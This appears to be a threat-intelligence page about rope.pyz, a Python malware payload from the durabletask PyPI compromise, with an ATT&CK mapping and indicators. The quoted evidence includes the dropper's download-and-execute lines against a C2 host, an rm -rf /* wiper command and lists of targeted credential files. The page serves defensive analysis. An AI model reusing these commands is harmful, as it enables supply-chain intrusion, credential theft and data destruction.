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Malware1 associated actor

rope.pyz

Tracked since May 19, 2026 · Updated 5 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns0Associated
Actors1Associated
ATT&CK51Techniques
IOCs16Tracked

rope.pyz is a Python zipapp second-stage malware payload used in the May 2026 compromise of Microsoft’s durabletask PyPI package (versions 1.4.1, 1.4.2, and 1.4.3) and linked in reporting to the broader Mini Shai-Hulud/Miasma activity cluster associated with TeamPCP. It is described as a modular cloud intrusion framework and a direct evolution of the earlier transformers.pyz payload used in the guardrails-ai compromise. The durabletask import-time dropper on Linux downloaded rope.pyz from check.git-service[.]com, wrote it to /tmp/managed.pyz, and launched it as a detached python3 process with output suppressed. Reported hashes and artifacts include SHA-256 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce for rope.pyz, runtime paths /tmp/managed.pyz and /tmp/rope-*.pyz, and infection markers ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s.

The payload targets Linux systems and includes anti-analysis checks that exit on non-Linux hosts, Russian locale settings, or low-CPU environments. It steals credentials and secrets from AWS, Azure, GCP, Kubernetes, HashiCorp Vault, local filesystems, shell history, environment variables, Docker environments, and password managers including Bitwarden, 1Password, pass, gopass, and GPG-based stores. It also targets developer and AI tooling configuration in some reporting, including Claude, Cursor, VS Code, Codeium, Zed, Continue, and MCP-related artifacts. Cloud-focused collection includes AWS IAM credentials, Secrets Manager and SSM Parameter Store data across 19 regions, Azure service principal and managed identity credentials plus Key Vault secrets, GCP service account and Secret Manager data, Kubernetes kubeconfig and in-cluster service account tokens, and Vault KV secrets.

Exfiltration is performed over encrypted HTTPS POST requests to attacker-controlled infrastructure, primarily check.git-service[.]com including /api/public/version, with fallback mechanisms that include GitHub commit-search dead-drop discovery using the FIRESCALE keyword and, if stolen GitHub tokens are available, creation of public GitHub repositories to upload encrypted results. Some reports also cite t.m-kosche[.]com as backup infrastructure and 83.142.209.194 as legacy campaign infrastructure. Stolen data is described as compressed and encrypted with AES-256-GCM and wrapped with RSA-OAEP using a hardcoded RSA public key.

rope.pyz also supports propagation and persistence. Reported lateral movement includes AWS SSM SendCommand propagation to managed instances and Kubernetes propagation via kubectl exec to up to five pods or targets per infected host. Persistence has been reported via a fake systemd service named pgsql-monitor.service. The malware can deploy a destructive wiper component in some regions: reporting states a module named roulette.py may, under certain conditions and on hosts fingerprinted as Israeli or Iranian, play audio from /audio.mp3 and execute rm -rf /* or filesystem wipe behavior. Overall, rope.pyz is characterized in the source material as a Linux-focused, multi-cloud credential theft, exfiltration, propagation, and selective destructive malware framework aimed at cloud workloads, CI/CD runners, Kubernetes environments, and developer infrastructure.

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Threat actors

Associated threat actors

1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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TeamPCP

The Linux import-time dropper initially injected into __init__.py , and later versions expanded into additional modules, downloading and executing rope.pyz / /tmp/managed.pyz .

via medium slowmistslowmist.medium.com
MITRE ATT&CK

Techniques & procedures

51 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

4 techniques
T1078Valid AccountsEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1078 Valid Accounts Stolen GitHub tokens, cloud credentials used for lateral movement and exfiltration

T1195Supply Chain CompromiseEvidence6

A variant of the infamous Shai-Hulud worm wreaked havoc on Microsoft's code repositories, triggering disruptions to CI/CD workflows and heightening concerns about increasing software supply chain threats.

T1195.001Compromise Software Dependencies and Development ToolsEvidence6

Three poisoned versions of Microsoft's official durabletask Python SDK were published to PyPI on May 19.

T1195.002Compromise Software Supply ChainEvidence1

TeamPCP's self-replicating malware campaign, known as Mini Shai-Hulud, continues to expand in reach with the compromise of durabletask, an official Microsoft Python client... Three malicious package versions have been identified: 1.4.1, 1.4.2, and 1.4.3.

Execution

7 techniques
T1059Command and Scripting InterpreterEvidence2

prepare: bun run tanstack_runner.js && exit 1 ... preinstall: bun run index.js ... downloading and executing rope.pyz / /tmp/managed.pyz .

T1059.006PythonEvidence10

May 19 (PyPI Attack)... Payload rope.pyz (28 KB, Python)

T1204User ExecutionEvidence1

When a developer installs any of these versions and imports the library, the dropper silently fetches and executes a second-stage payload from a three-day-old C2 domain.

T1574Hijack Execution FlowEvidence1

Versions 1.4.1, 1.4.2, and 1.4.3 had a Linux-only downloader appended to the package's __init__.py . Unlike the npm packages, which rely on lifecycle scripts, this payload can execute when Python code imports durabletask .

T1574.001DLLEvidence1

The package requires no explicit execution. Simply importing durabletask triggers the payload.

T1609Container Administration CommandEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1609 Container Administration Command (kubectl exec) Kubernetes pod lateral movement via kubectl exec

T1651Cloud Administration CommandEvidence2

After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.

Persistence

4 techniques
T1078Valid AccountsEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1078 Valid Accounts Stolen GitHub tokens, cloud credentials used for lateral movement and exfiltration

T1543Create or Modify System ProcessEvidence1

subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True ) ... runs python3 under nohup

T1543.002Systemd ServiceEvidence2

installs persistence via fake systemd services... systemctl --user daemon-reload ... installs the fake pgsql-monitor.service for persistence via systemctl ... restart on every boot.

T1547.001Registry Run Keys / Startup FolderEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1547.001 Boot or Logon Autostart: Systemd Service pgsql-monitor.service persistence registered as ‘PostgreSQL Monitor’

Privilege Escalation

4 techniques
T1078Valid AccountsEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1078 Valid Accounts Stolen GitHub tokens, cloud credentials used for lateral movement and exfiltration

T1543Create or Modify System ProcessEvidence1

subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True ) ... runs python3 under nohup

T1543.002Systemd ServiceEvidence2

installs persistence via fake systemd services... systemctl --user daemon-reload ... installs the fake pgsql-monitor.service for persistence via systemctl ... restart on every boot.

T1547.001Registry Run Keys / Startup FolderEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1547.001 Boot or Logon Autostart: Systemd Service pgsql-monitor.service persistence registered as ‘PostgreSQL Monitor’

Stealth

8 techniques
T1036MasqueradingEvidence3

The payload domain The second-stage payload is fetched from check.git-service.com. The domain is built to look like routine git tooling traffic in network logs. The file lands at /tmp/managed.pyz with a filename that does not stand out in a directory listing.

T1070.004File DeletionEvidence1

If the system matches, the module rolls a virtual die... then executes rm -rf /* .

T1078Valid AccountsEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1078 Valid Accounts Stolen GitHub tokens, cloud credentials used for lateral movement and exfiltration

T1497Virtualization/Sandbox EvasionEvidence1

Systems with 1-2 CPUs are skipped. This likely targets: Automated sandboxes Malware analysis VMs Lightweight research environments

T1497.001System ChecksEvidence3

Before running any collectors, the payload validates its environment with multiple gate checks designed to avoid sandboxes and specific geographies... Only run on Linux... Skip Russian-locale systems... Skip low-CPU sandboxes.

T1564Hide ArtifactsEvidence1

Two details in the implementation make this hard to catch at runtime. start_new_session=True detaches the spawned process from its parent. The payload keeps running even after the Python process that triggered the import exits. except: pass catches everything without re-raising.

T1574Hijack Execution FlowEvidence1

Versions 1.4.1, 1.4.2, and 1.4.3 had a Linux-only downloader appended to the package's __init__.py . Unlike the npm packages, which rely on lifecycle scripts, this payload can execute when Python code imports durabletask .

T1574.001DLLEvidence1

The package requires no explicit execution. Simply importing durabletask triggers the payload.

Credential Access

9 techniques
T1110Brute ForceEvidence2

The payload attempts brute-force unlock using harvested passwords from environment variables and shell history.

T1528Steal Application Access TokenEvidence3

Anyone who pulled an affected repo and opened it in one of the affected environments had credentials harvested instantly, and the stolen tokens are what push the next commit and republish the next package.

T1552Unsecured CredentialsEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1552 Unsecured Credentials Credential files (~/.aws, ~/.kube, ~/.vault-token, .env, Docker socket, etc.) harvested

T1552.001Credentials In FilesEvidence2

Filesystem (collectors/filesystem.py): Reads 99 hardcoded credential file paths covering: ~/.aws/credentials, ~/.azure/accessTokens.json, ~/.config/gcloud/application_default_credentials.json ... All SSH keys and configs from ~/.ssh/ ... Terraform state files ... All .env files recursively under the home directory

T1552.003Shell HistoryEvidence1

Password Managers... harvesting candidate passwords from environment variables... and from shell history entries containing bw unlock or op signin commands... Filesystem... Shell histories: ~/.bash_history, ~/.zsh_history

T1552.005Cloud Instance Metadata APIEvidence2

On AWS, propagation assumes credentials available from the environment or the EC2 instance metadata role.

T1552.007Container APIEvidence1

Every secret in every namespace across every context is retrieved and base64-decoded.

T1555Credentials from Password StoresEvidence8

StepSecurity said the credential-stealing malware in the Microsoft repos was focused on AI coding agents. Specifically, the credential-stealing malware targets Anthropic's Claude Code, Google's Gemini CLI, Cursor, and Visual Studio Code.

T1649Steal or Forge Authentication CertificatesEvidence6

Anyone who pulled an affected repo and opened it in one of the affected environments had credentials harvested instantly, and the stolen tokens are what push the next commit and republish the next package.

Discovery

7 techniques
T1083File and Directory DiscoveryEvidence1

Once triggered, the malware performs a sweeping credential theft operation, targeting ... Shell history files ( .bash_history, .zsh_history ) for additional secrets.

T1124System Time DiscoveryEvidence1

The payload includes a module called roulette.py, a wiper that runs only on hosts that fingerprint as Israeli or Iranian (timezone/localtime/LANG/locale checks for those regions)

T1497Virtualization/Sandbox EvasionEvidence1

Systems with 1-2 CPUs are skipped. This likely targets: Automated sandboxes Malware analysis VMs Lightweight research environments

T1497.001System ChecksEvidence3

Before running any collectors, the payload validates its environment with multiple gate checks designed to avoid sandboxes and specific geographies... Only run on Linux... Skip Russian-locale systems... Skip low-CPU sandboxes.

T1526Cloud Service DiscoveryEvidence5

Check CloudTrail for SSM:SendCommand and SSM:DescribeInstanceInformation calls from compromised instances.

T1613Container and Resource DiscoveryEvidence4

The malware attempts to dump: All namespaces All Kubernetes secrets All contexts | It supports: kubectl usage Automatic kubectl download Direct Kubernetes API interaction In-cluster service account auth kubeconfig parsing mTLS API access

T1614.001System Language DiscoveryEvidence1

The payload includes a module called roulette.py, a wiper that runs only on hosts that fingerprint as Israeli or Iranian (timezone/localtime/LANG/locale checks for those regions)

Lateral Movement

3 techniques
T1021Remote ServicesEvidence6

If it's inside Kubernetes, it propagates through kubectl exec... After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.

T1021.007Cloud ServicesEvidence6

After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.

T1570Lateral Tool TransferEvidence7

After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.

Collection

3 techniques
T1005Data from Local SystemEvidence1

History Scraping Yes (.bash_history, .zsh_history) ... Assume shell history (.bash_history, .zsh_history) was exfiltrated.

T1213Data from Information RepositoriesEvidence1

Dumps Secrets Manager Dumps SSM Parameter Store with decryption ... Azure Key Vault ... Dumps Secret Manager ... recursively walks KV mounts and attempts to dump all secrets.

T1560Archive Collected DataEvidence1

All collected data is gzip-compressed and encrypted with AES-256-GCM.

Command and Control

6 techniques
T1008Fallback ChannelsEvidence1

the propagation script downloads the payload from the primary C2, falling back to the secondary domain t.m-kosche[.]com... Also notable is the use of the FIRESCALE mechanism to identify a backup command-and-control (C2) address in the event the primary domain is unreachable.

T1071Application Layer ProtocolEvidence4

StepSecurity recommended ... restricting outbound network access from CI/CD runners to block traffic to command-and-control (C2) domains, among other steps.

T1071.001Web ProtocolsEvidence2

MITRE ATT&CK Mapping Technique ID Name Description T1071.001 Application Layer Protocol: Web Protocols HTTPS used for C2, payload delivery, and exfiltration

T1102.001Dead Drop ResolverEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1102.001 Web Service: Dead Drop Resolver (GitHub) FIRESCALE mechanism uses GitHub commit search API for C2 rotation with RSA-signed URLs

T1105Ingress Tool TransferEvidence9

urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")

T1568Dynamic ResolutionEvidence3

If that primary POST fails... the malware falls back to a public dead drop on GitHub. It queries the commit search API with q=FIRESCALE... The first commit message that passes verification becomes the new mothership URL, and the malware retries the identical encrypted POST against that host.

Exfiltration

3 techniques
T1041Exfiltration Over C2 ChannelEvidence4

May 19 payload connected to the TeamPCP threat group via the secondary C2 domain t.m-kosche[.]com ... Check network logs for connections to check.git-service[.]com and t.m-kosche[.]com .

T1567Exfiltration Over Web ServiceEvidence4

Collected credentials are sent to attacker-controlled infrastructure... Primary exfiltration... sends a small JSON body... in a single POST... Backup mothership from GitHub commits... GitHub repository fallback... it creates a new public repository... uploads a file named results.json containing the same RSA-wrapped, AES-encrypted package

T1567.001Exfiltration to Code RepositoryEvidence1

MITRE ATT&CK Mapping Technique ID Name Description T1567.001 Exfiltration to Code Repository GitHub token abuse to create exfiltration repositories with Russian folklore names

Impact

3 techniques
T1485Data DestructionEvidence2

the poisoned versions were 'particularly dangerous' because they contained a modular cloud intrusion framework called 'rope.pyz' that steals secrets and credentials and can also deploy a destructive wiper in some regions.'

T1486Data Encrypted for ImpactEvidence2

The payload includes a module called roulette.py, a wiper... If the check passes, it runs: rm -rf /* That attempts to delete everything on the filesystem.

T1561Disk WipeEvidence1

For systems in specific geographies, it rolls the dice on a destructive wiper that executes rm -rf /* .

Indicators of compromise

Observables

16 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Activity feed

Recent activity

12 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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IOC matching16Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors1Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping51Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.